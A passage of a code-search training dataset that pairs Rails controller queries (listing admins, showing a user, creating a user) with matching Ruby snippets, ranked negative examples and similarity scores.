"def activate\n authorize current_user\n\n user = User.find(params[:id])\n return if user.blank?\n\n begin\n user.active = !user.active\n user.save!\n render json: {\n code: 1,\n msg: format(_(\"Successfully %{action} %{username}'s account.\"),\n action: user.active ? _('activated') : _('deactivated'),\n username: user.name(false))\n }\n rescue StandardError\n render json: {\n code: 0,\n msg: format(_('Unable to %{action} %{username}'),\n action: user.active ? _('activate') : _('deactivate'),\n username: user.name(false))\n }\n end\n end",
"def inactive_tasks\n @tasks.select { | task | ! task.active }\n end",
"def redirect_for_inactive\n #if @friendship.friend.deactivated?\n # flash[:error] = \"Invalid connection request: person deactivated\"\n # redirect_to people_url\n #end\n end",
"def deactivate\n @this_user.update_attributes(:active => false)\n redirect_to :controller => 'user', :action => 'view', :display_name => params[:display_name]\n end",
"def index\n @users = User.where(activated: true).paginate(page: params[:page])\n end",
"def inactive_message\n\t\t\"Sorry, this account not active by admin. Will Contact you soon.\"\n\tend",
"def active_user\n User.find_by(activated: true)\n end",
"def inactive_status?\n status.type.abbreviation == 'inactive' rescue false\n end",
"def index\n @users = User.where(:activate => true)\n authorize! :update, @users\n end",
"def perform\n inactive_users = User.inactive_for_more_than(2.days)\n inactive_users.destroy_all\n end",
"def inactive_message\n !active? ? :inactive : super\n end",
"def index\n @accounts = current_user.accounts.not_canceled\n end",
"def inactive_message\n \"This account has been deactivated or doesn't have account.\"\n end",
"def check_active\n if (!@post.active? || @post.expired)\n render :inactive\n end\n end",
"def inactive_notification(user)\n setup_email(user)\n \n @subject += subject_from_sym :inactive_notification\n @body[:name] = user.full_name || 'Eternos user'\n @body[:link] = account_setup_url(:id => user.perishable_token)\n add_category_header \"Inactive Account Notice\"\n end",
"def index\n render json: filter(@current_user), status: :ok if @current_user\n render json: { message: 'expired' }, status: :not_found if !@current_user\n end",
"def deactivate\n @user = User.find(params[:id])\n @user.deactivate!\n\n UserMailer.delay({ run_at: 1.minutes.from_now }).user_deactivated(@user) \n\n respond_to do |format|\n format.html { redirect_to :users, notice: 'Пользователь успешно деактивирован.' }\n end\n end",
"def inactive_message\n deactivated_at.present? ? 'Account has been deactivated' : super\n end",
"def update_inactive\n unless @active.nil?\n self.inactive = !@active\n logger.debug(\"Is model valid: #{valid?}\")\n end\n end",
"def deactivate\n @listing.update(\n active: false\n )\n flash[:notice] = \"You have successfully deactivated your listing.\"\n redirect_to user_path(current_user.id)\n\n favourited_users = @listing.favourited_users\n favourited_users.each do |user|\n user.notifications.create(\n title: \"Someone deactivated your favourite\",\n body: \"#{current_user.first_name} has deactivated your favourite #{@listing.title}\",\n read: false,\n )\n end\n end",
"def pending \n @pending_users = User.where(isApproved:false).where(isDenied:false).paginate(:page => params[:pending_users_page], :per_page => 10)\n end",
"def inactive?\n !self.active?\n end",
"def activate\n user = User.find_by_username params[:username]\n if user && user.activation == params[:activation]\n user.activation = \"ACTIVATION_ACTIVE\"\n user.save()\n render status: 200, json: {error: false}\n else\n render status: 403, json: {error: true}\n end\n end",
"def active_user\n user = pending_user\n user.activate! if user.valid?\n user\n end",
"def deactivate!\n update(status: false)\n end",
"def deactivate_unsubscribers\n active_subscribers = Subscriber.active\n active_subscribers.each do |active_subscriber|\n mc_sub_infos = self.fetch_subscriber_mc_infos(active_subscriber)\n if !mc_sub_infos[0] || mc_sub_infos[1][\"data\"][\"status\"] == \"unsubscribed\"\n puts \"\\nSuccessful update to is_active: false for : #{active_subscriber.firstname} - ID: #{active_subscriber.id}\\n\\n\"\n active_subscriber.update(is_active: false)\n end\n end\n end",
"def activate\n @user = User.find(:first, :conditions => [ 'id = ? AND token = ? AND token_expiry >= ?',\n @params[:id], @params[:token], 0.minutes.from_now ])\n if @user\n reset_session # Reset old sessions if exists\n @user.update_attributes({ :userstatus_id => 2,\n :token => nil, :token_expiry => nil })\n url = url_for(:controller => 'user', :action => 'login')\n UserNotifier.deliver_activation(@user, url) \n render :action => 'activated'\n else\n render :action => 'invalid'\n end\n end",
"def redirect_for_inactive\n if @connection.contact.deactivated?\n flash[:error] = \"Invalid connection request: person deactivated\"\n redirect_to home_url\n end\n end",
"def index\n if logged_in? && current_user.admin?\n @users = User.not_deleted\n else\n @users = User.active\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def active_user\n redirect_to(root_path) unless (current_user != nil && current_user.active == true)\n end",
"def results_with_inactive_users\n self.inactive_reviewers unless @results_with_inactive_users\n @results_with_inactive_users\n end",
"def deactivate_user(user_id)\n post(\"/users/#{user_id}/deactivate\")\n end",
"def inactive_message\n !deactivated_at ? super : :deactivated_account\n end",
"def inactive_access?(count = 7)\n !active_access?(count)\n end",
"def index\n\t\tif current_user.activated?\n\t\t\t@users = User.where(activated: true).paginate(page: params[:page])\n\t\t\t@profiles = Profile.all\n\t\telse\n\t\t\tflash[:error] = \"Please confirm your account before viewing this page.\"\n\t\t\tredirect_to root_url\n\t\tend\n\tend",
"def deactivate_user(email_ids)\n options = {\n :query => {\n 'ZOHO_ACTION' => 'DEACTIVATEUSER',\n 'ZOHO_EMAILS' => email_ids,\n }\n }\n\n send_request get_user_uri, 'post', options\n end",
"def idle_users\n user_state.select { |user, state| state == :idle }.keys\n end",
"def retired\n\t\t@active = User.find(session[:user_id]).try :touch\n \t@users = User.retired\n render(\"index\")\n \t\t\t\n end",
"def fetch_inactive_items_of(account_id)\n fetch_items_of(account_id.to_i).select {|s| !s.is_active? }\n end",
"def is_activated\r\n\t\tif !current_user.activated\r\n\t\t\tlog_out\r\n\t\t\tredirect_to root_path\r\n\t\t\tflash[:error] = \"You have been logged out.\"\r\n\t\tend\r\n\tend",
"def active_user\n redirect_to(root_url) unless current_user.active?\n end",
"def check_for_pending_account\n user = User.pending.find_by_login(params[:login]) || User.pending.find_by_identity_url(params[:openid_identifier])\n user = nil unless (user && user.authenticated?(params[:password])) unless params[:openid_identifier]\n flash.now[:notice] = 'Please activate your account first by clicking on the link emailed to you' if user\n end",
"def assert_inactive_user(msg = \"an inactive user shouldn't be able to access the API\")\n assert_response :unauthorized, msg\n # assert_equal @response.headers['Error'], \"\"\n end",
"def inactive_message\n 'Sorry, this account has been deactivated.'\n end",
"def inactivate\n self.status = \"Inactive\"\n end",
"def online_users\n User.where([\"last_active_at > ?\", 5.minutes.ago])\n end",
"def index\n begin\n @users = User.where('email != ?', current_user.email)\n return render json: {users: @users}, :status => 200\n rescue\n return render json: {}, :status => 500\n end\n end",
"def inactive_message\n !disabled ? super : :account_has_been_disabled\n end",
"def assert_inactive_user(msg = \"an inactive user shouldn't be able to access the API\")\n assert_response :unauthorized, msg\n #assert_equal @response.headers['Error'], \"\"\n end",
"def require_active_user\n unless current_user && current_user.status == UserStatus::ACTIVE\n flash[:alert]= I18n.t 'auth.msg.lock_account'\n redirect_to new_user_sessions_url\n return false\n end\n end"
] |
[
"0.7206873",
"0.71903163",
"0.7095578",
"0.68572736",
"0.6826995",
"0.6757509",
"0.67178786",
"0.67012936",
"0.66925687",
"0.668687",
"0.66400087",
"0.65934134",
"0.6576837",
"0.6557317",
"0.6553629",
"0.65305513",
"0.6522977",
"0.64929485",
"0.6433589",
"0.6430966",
"0.63977414",
"0.639601",
"0.6391355",
"0.637609",
"0.637565",
"0.6354633",
"0.6352737",
"0.63275653",
"0.6309397",
"0.62862796",
"0.6283007",
"0.62624025",
"0.6257269",
"0.6243972",
"0.6240679",
"0.6240325",
"0.62373626",
"0.62332755",
"0.6232053",
"0.6230768",
"0.62232125",
"0.61834586",
"0.6168781",
"0.6150101",
"0.6150101",
"0.61494666",
"0.6130739",
"0.61265814",
"0.6112069",
"0.6106125",
"0.6078252",
"0.60738426",
"0.6049844",
"0.6038141",
"0.603462",
"0.6018603",
"0.60169965",
"0.6014105",
"0.6011011",
"0.6008717",
"0.60047054",
"0.6004164",
"0.59897095",
"0.59736484",
"0.59731084",
"0.5960281",
"0.59538996",
"0.5952444",
"0.5948897",
"0.5946773",
"0.5941578",
"0.5936313",
"0.59191644",
"0.5914313",
"0.5905216",
"0.5899562",
"0.589949",
"0.58985513",
"0.58914053",
"0.5887316",
"0.5886271",
"0.5882334",
"0.5879769",
"0.5858555",
"0.5853553",
"0.5847872",
"0.58347386",
"0.5827526",
"0.5824856",
"0.58204484",
"0.5820362",
"0.5818301",
"0.5816888",
"0.5799236",
"0.57970923",
"0.5791495",
"0.5783255",
"0.57750416",
"0.5774533",
"0.5758923"
] |
0.80157053
|
0
|
GET /users/admin Manage all admin users/remove admin rights
|
def admin
@admin_users = User.where(isAdmin:true).where(isApproved:true).paginate(:page => params[:admin_users_page], :per_page => 10)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n return unless authenticated_admin?\n @users = User.all\n end",
"def index # ☑️ will get all users\n if current_user.admin == true \n render json: User.all\n else \n render json: {message: \"Authorized access denied. Admin status: #{current_user.admin}\"} \n end\n end",
"def index\n if current_user.admin?\n @users = User.all\n else\n redirect_to :root\n flash[:error] = \"You do not have admin access.\"\n end\n end",
"def admin\n @userList = User.all\n end",
"def index\n if Administrator.find_by_user_id(current_user.id).admin\n @users = User.all\n else\n redirect_to root_path\n end\n end",
"def admin_index\n authorize User\n @users = current_user.org.users.includes(:roles)\n end",
"def admin_user\n redirect_to root_url, notice: \"You do not have permission to view or edit this information.\" unless current_user.admin?\n end",
"def admin_user\n #redirect_to(root_url) unless\n current_user.admin || current_user.super_admin?# || top_layer_administrator\n end",
"def index\n\t\tif !admin?\n\t\t\thead 404\n\t\tend\n @users = User.all\n end",
"def admin_user\n unless current_user.admin?\n format.json {render json: 'Bad credentials', status: 401}\n end\n end",
"def edit_admin\n @user = User.find_by_id(params[:id])\n @users = User.all.page(params[:page]).per(10)\n\n unless @user\n render :file => \"#{Rails.root}/public/404.html\", :status => 404, :layout => false\n end\n end",
"def admin_user\n #redirect_to(root_url) unless\n current_user.admin?\n end",
"def admin_user\n #redirect_to(root_url) unless\n current_user.admin?\n end",
"def index\n if current_user.admin?\n @users = User.all\n end\n \n end",
"def index\n @admin_users = Admin::User.all\n end",
"def admins\n app_users.select(&:admin?)\n end",
"def admin_all_users\n\n # Get the Current App\n @app = MailfunnelsUtil.get_app\n\n # If the User is not an admin redirect to error page\n if !@app.is_admin or @app.is_admin === 0\n redirect_to '/error_page'\n end\n\n\n # Otherwise get list of all Users\n @users = User.all\n\n end",
"def admin_user\n\t\tunless admin? \n\t\t\tflash[:danger] = \"Only administrators have access to this page\"\n\t\t\tredirect_back_or(root_url) \n\t\tend\n\tend",
"def admin\n check_admin_without_render(current_user)\n @users = User.find(:all, :order => \"updated_at\", :conditions => [\"junk is NOT NULL\", ])\n end",
"def admin_user\n if(!current_user.admin?)\n flash[:danger] = \"Access Denied. Admin required\"\n redirect_to root_url\n end\n end",
"def admin_user\n unless current_user && current_user.admin?\n redirect_to login_url, notice: \"admin can only do this action.\" \n end\n end",
"def index\n authorize Admin\n @admins = User.find_by_sql([\"select * from users where role = ?\",2])\n end",
"def index\n # authorize! :index, @user, :message => 'Not authorized as an administrator.'\n @users = User.all\n end",
"def admin_user\n redirect_to(root_url) and flash[:danger] = \"Only admins can do that!\" unless current_user.admin?\n\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin? # se current_user.admin for falso redireciona para pagina principal\n end",
"def admin_user\n\t\t\tredirect_to(root_url) unless current_user.admin?\n\t end",
"def admin_user\n unless logged_in? && current_user.admin?\n redirect_to root_url\n end\n end",
"def index\n @adminusers = Adminuser.all\n end",
"def admin_user\n redirect_to(root_path) unless is_admin?\n end",
"def admin_user\n\t\t\tredirect_to(root_url) unless current_user.admin?\n\t\tend",
"def admin_user\n\t\t\tredirect_to(root_url) unless current_user.admin?\n\t\tend",
"def index\n # only admins see the whole user list\n if current_user && current_user.is_admin\n @users = User.all\n render :index\n else\n redirect_to \"/\"\n end\n end",
"def admin_users_stats\n get_admin_stats \"users\"\n end",
"def index\n @user_admins = UserAdmin.all\n end",
"def admin_user\n redirect_to(root_url) unless !current_user?(@user) && current_user.admin?\n end",
"def admin_user\n @user = current_user\n redirect_to @user unless @user.admin?\n end",
"def admin_user\n redirect_to(admin_admins_path) unless current_user.admin?\n end",
"def admin\n #TODO\n end",
"def index\n # index not implemented - only admins may list users\n raise \"This action is not implemented\"\n end",
"def admin_user\n unless admin_user?\n redirect_to login_url\n end\n end",
"def admin_auth\n user = User.find_by(id: params[:user_id])\n if ! user\n \trender json: {\n \"error\" => \"Unauthorized\"\n }, status: 401\n return\n end \n if user.is? :admin\n render json: {}, status: 201\n else\n render json: {\n \"error\" => \"Unauthorized\"\n }, status: 401\n end \n end",
"def index\n if current_user && current_user.role == 'admin'\n @users = User.all\n else\n redirect_to root_path\n end\n end",
"def admin\n unless admin_user?\n authenticate_admin\n return\n end\n @accounts = Account.user_accounts\n @projects = []\n @users = []\n \n respond_to do |format|\n format.html # admin.html.erb\n format.json { render json: @accounts }\n end \n end",
"def index\n\t\tbegin\n\t\t\tif(session[:user][\"admin\"])\n\t\t\t\t@users = User.where.not(id: 1)\n\t\t\telse\n\t\t\t\traise \"No_ACCESS\"\n\t\t\tend\n\t\trescue\n\t\t\trender \"error\"\n\t\telse\n\t\tend\n\tend",
"def admin_user\n redirect_to(root_url) unless user_signed_in? && current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless user_signed_in? && current_user.admin?\n end",
"def admin_user\n render_forbidden unless current_user.admin?\n end",
"def admin_user\n\t\tredirect_to(root_url) unless current_user.admin? #NB il metodo \"admin?\" è stato aggiunto direttamente da Rails quando alla creazione ha visto che admin è un booleano\n\tend",
"def admin_user\n\t\tredirect_to(root_url) unless current_user.admin?\n\tend",
"def admin_user\n\t\tredirect_to(root_url) unless current_user.admin?\n\tend",
"def admin_user\n\t\tredirect_to(root_url) unless current_user.admin?\n\tend",
"def admin_user\n redirect_to(root_path) unless current_user.try(:admin?) || current_user?(@user)\n end",
"def admin_user\n\t\tredirect_to(root_path) unless current_user.admin?\n\tend",
"def index\n if @current_user[:role] == 'admin'\n @users = User.all\n else \n redirect_to root_path\n end\n end",
"def admin_user\n redirect_to(root_url) unless current_user.is_admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.is_admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.is_admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.is_admin?\n end",
"def index\n #before_action :authenticate_user\n #if current_user.admin?\n @users = User.all\n render json: @users, status: :ok\n #else\n # render json: [], status: :unauthorized\n #end\n end",
"def admin_user\n redirect_to(root_path) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_path) unless current_user.admin?\n end",
"def index\n if current_user.role == \"super_admin\" || current_user.role == \"admin\" #[99, 100]\n @users = User.all\n else\n redirect_to user_path(current_user)\n end\n end",
"def admin\n unless current_user.admin?\n redirect_to root_url\n flash[:danger] = \"You have no access here\"\n end\n end",
"def admin\n unless current_user.admin?\n flash[:danger] = \"Sorry, you must be an admin to do that.\"\n redirect_to user_path(current_user)\n end\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end"
] |
[
"0.7300169",
"0.72757185",
"0.7194949",
"0.7190606",
"0.7166025",
"0.71204466",
"0.7068661",
"0.70673007",
"0.70541024",
"0.70527",
"0.7027545",
"0.6992733",
"0.6992733",
"0.6987305",
"0.6976507",
"0.6975517",
"0.6962281",
"0.6960012",
"0.6955561",
"0.69530016",
"0.6952987",
"0.69507784",
"0.6947372",
"0.6939745",
"0.6928208",
"0.6920758",
"0.69032866",
"0.68901235",
"0.6879875",
"0.68763053",
"0.68763053",
"0.68734926",
"0.68530554",
"0.6847517",
"0.6843203",
"0.68389016",
"0.68321145",
"0.68233156",
"0.6817537",
"0.68144894",
"0.68121356",
"0.6809768",
"0.6809723",
"0.6805346",
"0.67915803",
"0.67915803",
"0.6789646",
"0.67895985",
"0.6786015",
"0.6786015",
"0.6786015",
"0.678388",
"0.6774479",
"0.6759254",
"0.6757371",
"0.6757371",
"0.6757371",
"0.6757371",
"0.67517555",
"0.6749181",
"0.6749181",
"0.6746925",
"0.67241037",
"0.6720974",
"0.6718136",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585",
"0.67166585"
] |
0.7117699
|
6
|
GET /users/1 GET /users/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/users/#{params[:id]}.json\"\n\t response = RestClient.get(url)\n\t @user = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/users.json\"\t \n response = RestClient.get(url)\n @users = JSON.parse(response.body)\t\t \n\tend\n end",
"def get \n render :json => User.find(params[:id])\n end",
"def GetUser id\n\n APICall(path: \"users/#{id}.json\")\n\n end",
"def show\n begin\n user = User.find(params[:user_id])\n render json: { users: user }, status: :ok\n rescue => e\n render json: { errors: e.message}, status: 404\n end\n end",
"def users(args = {})\n get(\"/users.json\",args)\n end",
"def show\n # When a http GET request to '/users/1' is received, have it show,\n # in json format, user 1's information.\n @id = params[:id]\n @user = User.find(@id)\n render json: @user\n end",
"def user\n render :json=> User.find(params[:id])\n end",
"def fetch_one_user_data\n get_url(\"/api/v1/users/#{@filter}\")\n end",
"def show\n user = User.find(params[:id])\n render json: @user\nend",
"def show\n user = User.find(params[:id])\n render json: user\n end",
"def show\n user = User.find(params[:id])\n\n render json: user\n end",
"def show\n render json: Users.find(params[\"id\"])\n end",
"def show\n user = User.find(params[:id])\n render json: user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n user = User.select(:id, :username, :email).find(params[:id])\n render :json => user\n end",
"def show\n render json: User.find(params[\"id\"])\n end",
"def show\n @users = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @users }\n end\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\nend",
"def user_info\n @user = @github.users.get user: params[:username]\n render json: Hash[@user]\n end",
"def show\n render json: User.find(params[:id])\n end",
"def show\n @user = User.find(params[:id])\n render json:@user\n end",
"def show\n @user = User.find(params[:id])\n render json:@user\n end",
"def get_by_id\n \n # the user_id param comes from our route\n user = User.find(params[:user_id])\n \n if user\n render json: user, status: :ok\n else\n render json: { errors: 'User not found' }, status: :not_found\n end\n end",
"def GetUsers params = {}\n\n params = params.merge(path: 'users.json')\n APICall(params)\n\n end",
"def get_user_details\n @user = User.find_by_id(params[:user_id])\n render json: @user\n end",
"def show\n render json: User.find(params[:id])\n end",
"def show\n user = User.find_by(id: params[:id])\n render json: user, status: :ok\n end",
"def user(id)\n self.class.get(\"/user/#{id}\", @options).parsed_response\n end",
"def show\n @user = User.find(params[:id])\n render json: {user: @user}\n end",
"def list_users\n self.class.get('/users')\n end",
"def show\n user = User.find(params[:id])\n render json: user\n end",
"def show\n user = User.friendly.find(params[:user_id]) \n render json: user\n end",
"def show\n render :json => User.find(params[:id])\n end",
"def show(id)\n response = request(:get, \"/users/#{id}.json\")\n response[\"user\"]\n end",
"def index\n users = User.all\n json_response(users)\n end",
"def show\n @user = ActiveRecord::Base.connection.execute(\"\n SELECT * \n FROM users \n WHERE username = '#{params[:username].downcase}' \n LIMIT 1\").first\n\n respond_to do |format|\n format.html\n format.json {render json: User.find(@user[0])}\n end\n end",
"def show(id)\n response = request(:get, \"/users/#{id}.json\")\n response.first[1]\n end",
"def show\n @users = User.all\n json_response(@users)\n end",
"def index\n json_response(User.all) \n end",
"def get(user_id:)\n path = '/users/{userId}'\n .gsub('{userId}', user_id)\n\n if user_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"userId\"')\n end\n\n params = {\n }\n \n headers = {\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'GET',\n path: path,\n headers: headers,\n params: params,\n response_type: Models::User\n )\n end",
"def index\n users = User.all\n render json: { users: users }, status: :ok\n end",
"def show\n # @user = User.first\n user = User.find(params[:id])\n render json: user\n end",
"def user(user_id, params = {})\n make_get_request(\"/users/#{user_id}\", params)\n end",
"def show_user_profile\n @user = User.find(username: params[:username])\n render json: @user\n end",
"def user(id = nil)\n id.to_i.zero? ? get('/user') : get(\"/users/#{id}\")\n end",
"def get_user id, options={}, headers={}\n @connection.get \"users/#{id}.json\", options, headers\n end",
"def index\n \n @user = User.find(current_user.id) \n\n respond_to do |format|\n format.html { render action: \"show\" }\n format.json { render json: @user }\n end\n end",
"def user(user=nil)\n if user\n get(\"/users/#{user}\", {}, 3)\n else\n get(\"/user\", {}, 3)\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @user }\n end\n end",
"def get_user(user_id:)\n parse(JSON.parse(connection.get(\"users/#{user_id}\").body))\n end",
"def index\n user= User.all\n render json: {users:user}\n end",
"def index\r\n users = User.all\r\n render json: users\r\n end",
"def show\n # puts params[:id]\n render json: User.find(params[:id])\n end",
"def get_user_info\n id = params[\"id\"]\n error_list = []\n status = 1\n json_response = {}\n user = User.find_by(id: id)\n\n if user.nil?\n error_list.append(\"Error: The specified user doesn't exist.\")\n status = -1\n else\n json_response[\"user\"] = user.get_user_json_data\n end\n\n if status == -1\n json_response[\"errors\"] = error_list\n end\n\n json_response[\"status\"] = status\n\n # Format the json_response into proper JSON and respond with it\n json_response = json_response.to_json\n\n respond_to do |format|\n format.json { render json: json_response }\n end\n end",
"def show\n @user = User.find(params[:id])\n if @user\n render json: {\n user: @user\n }\n else\n render json: {\n status: 500,\n errors: ['user not found']\n }\n end\n end",
"def index\n users = User.all\n render json: users\n end",
"def index\n users = User.all\n render json: users\n end",
"def index\n users = User.all\n render json: users\n end",
"def index\n users = User.all\n render json: users\n end",
"def show\n @user = User.find(params[:id])\n render json: {\n username: @user.username,\n first_name: @user.first_name,\n last_name: @user.last_name,\n email: @user.email,\n phone_number: @user.phone_number,\n contacts: @user.contacts\n }, status: :ok\n end",
"def show\n @user = User.find(params[:id])\n render 'api/v1/users/show'\n end",
"def get_user(user_id)\n request(Route.new(:GET, '/users/%{user_id}', user_id: user_id))\n end",
"def index\n users = User.all\n\n render json: users, each_serializer: Api::V1::UsersSerializer\n end",
"def index\n users = User.all\n render json: users \n end",
"def user(user_id)\n params = {\n :client_id => Swiftype.platform_client_id,\n :client_secret => Swiftype.platform_client_secret\n }\n get(\"users/#{user_id}.json\", params)\n end",
"def index\n users = User.all \n render json: users \n end",
"def list\r\n users = User.all\r\n render json: users\r\n end",
"def json_show_user_profile_by_user_id\n @user = User.find(params[:user_id])\n\n respond_to do |format|\n format.json { render json: @user.as_json(only:[:email,:username]) }\n end\n end",
"def index\n\t\t# specifying json format in the URl\n\t uri = \"#{API_BASE_URL}/users.json\"\n\t # It will create new rest-client resource so that we can call different methods of it\n\t rest_resource = RestClient::Resource.new(uri, USERNAME, PASSWORD)\n\n\t # this next line will give you back all the details in json format, \n\t #but it will be wrapped as a string, so we will parse it in the next step.\n\t users = rest_resource.get \n\n\t # we will convert the return data into an array of hash. see json data parsing here\n\t @users = JSON.parse(users, :symbolize_names => true)\n\tend",
"def show\n user = User.find_by(uid: params[:id])\n if user\n puts 'USER FOUND'\n render json: user\n else\n puts 'NO USER'\n render json: 'no user'.to_json\n end\n end",
"def show\n render json: UserService.get_user(params[:id]), includes: 'questions, answers'\n end",
"def index\n @users = User.all(limit: 100)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users.as_json(user: current_user) }\n end\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n render :json => User.all, status: 200\n end",
"def index\n @users = User.all\n render json: @users, status: :ok\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n render json: @users\n end"
] |
[
"0.81049806",
"0.77023244",
"0.77010894",
"0.7625595",
"0.75821865",
"0.74811673",
"0.74603444",
"0.7446582",
"0.7305236",
"0.72992796",
"0.72888285",
"0.72772574",
"0.72345036",
"0.72321355",
"0.72321355",
"0.72321355",
"0.72321355",
"0.72321355",
"0.72321355",
"0.72321355",
"0.7223994",
"0.7223994",
"0.7223994",
"0.7223994",
"0.7223994",
"0.7223994",
"0.7223994",
"0.7223994",
"0.72214663",
"0.7215248",
"0.72132754",
"0.72082794",
"0.71929723",
"0.7181689",
"0.7180638",
"0.7180638",
"0.7178728",
"0.7175399",
"0.7172813",
"0.71627665",
"0.7162101",
"0.7143687",
"0.7143666",
"0.7129714",
"0.7124243",
"0.71153057",
"0.7094403",
"0.7092913",
"0.7077438",
"0.7070191",
"0.7069559",
"0.7063156",
"0.7055034",
"0.702385",
"0.7014574",
"0.700358",
"0.6997105",
"0.69899493",
"0.6982484",
"0.69776964",
"0.69716275",
"0.69712365",
"0.69668674",
"0.6965548",
"0.6956316",
"0.69506884",
"0.6944119",
"0.69426507",
"0.69335526",
"0.6932269",
"0.6932269",
"0.6932269",
"0.6932269",
"0.69264674",
"0.69239247",
"0.69235474",
"0.69178694",
"0.690779",
"0.6893773",
"0.6882643",
"0.6876047",
"0.6874133",
"0.6863834",
"0.68603235",
"0.6857571",
"0.68555224",
"0.6852691",
"0.6852691",
"0.6852691",
"0.6852691",
"0.6852691",
"0.6852691",
"0.6852691",
"0.6852691",
"0.6852691",
"0.6852691",
"0.68526655",
"0.68495524",
"0.68472683",
"0.68472683",
"0.68472683"
] |
0.0
|
-1
|
POST /users POST /users.json
|
def create
@user = User.new(user_params)
respond_to do |format|
if @user.save
@user.new_user_registration_email
format.html { redirect_to login_path, notice: 'User was successfully created. Please see email for Instructions.'
}
format.json { render :show, status: :created, location: @user }
else
format.html { render :new, notice: 'Fix the errors.'}
format.json { render json: @user.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
